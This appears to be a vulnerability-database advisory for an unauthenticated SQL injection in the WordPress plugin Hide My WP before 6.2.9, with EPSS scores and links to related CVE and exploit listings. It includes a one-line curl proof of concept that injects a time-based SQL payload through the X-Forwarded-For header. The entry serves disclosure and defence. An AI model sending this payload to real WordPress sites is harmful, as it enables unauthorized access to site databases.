Lucene search
Xenofon VassilakopoulosWPVDB-ID:5A4096E8-ABE4-41C4-B741-C44E740E8689HistoryJan 11, 2023 - 12:00 a.m.
Hide My WP < 6.2.9 - Unauthenticated SQLi
2023-01-1100:00:00
Xenofon Vassilakopoulos
wpscan.com
14
sql injection
unauthenticated users
ajax action
0.007 Low
EPSS
Percentile
80.2%
The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
PoC
curl -k --location --request GET “http://localhost:10008” --header “X-Forwarded-For: 127.0.0.1’+(select*from(select(sleep(20)))a)+'”
| CPE | Name | Operator | Version |
|---|---|---|---|
| hide_my_wp | lt | 6.2.9 |
Related
prion
prion
Sql injection
2023-02-06 20:15:00
nvd
nvd
CVE-2022-4681
2023-02-06 20:15:11
wpexploit
wpexploit
Hide My WP < 6.2.9 - Unauthenticated SQLi
2023-01-11 00:00:00
cve
cve
CVE-2022-4681
2023-02-06 20:15:11
cvelist
cvelist
CVE-2022-4681 Hide My WP < 6.2.9 - Unauthenticated SQLi
2023-02-06 19:59:20
zdt
zdt
WordPress Hide My WP < 6.2.9 - Unauthenticated SQL injection Vulnerability
2024-03-11 00:00:00
packetstorm
packetstorm
WordPress Hide My WP SQL Injection
2024-03-11 00:00:00
exploitdb
exploitdb
Hide My WP < 6.2.9 - Unauthenticated SQLi
2024-03-10 00:00:00